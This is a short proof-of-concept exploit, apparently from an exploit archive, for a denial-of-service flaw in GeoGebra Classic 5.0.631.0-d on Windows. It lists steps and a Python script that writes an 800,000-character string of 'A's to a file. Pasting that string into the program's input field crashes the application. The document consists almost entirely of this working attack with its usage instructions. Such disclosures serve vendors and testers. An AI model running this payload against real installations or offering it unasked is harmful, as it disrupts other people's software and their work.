# Exploit Title: GeoGebra Classic 5.0.631.0-d - Denial of Service (PoC) # Date: 2021-03-15 # Exploit Author: Brian Rodriguez # Vendor Homepage: https://www.geogebra.org # Software Link: https://www.geogebra.org/download # Version: 5.0.631.0-d # Tested on: Windows 8.1 Pro #STEPS # Open the program GeoGebra # Run the python exploit script payload.py, it will create a new payload.txt file # Copy the content of the file "payload.txt" # Paste the content in the field "Entrada:" # Crashed --> payload.py <-- #!/usr/bin/env python buffer = "\x41" * 800000 try: f = open("payload.txt","w") f.write(buffer) f.close() print ("File created") except: print ("File cannot be created")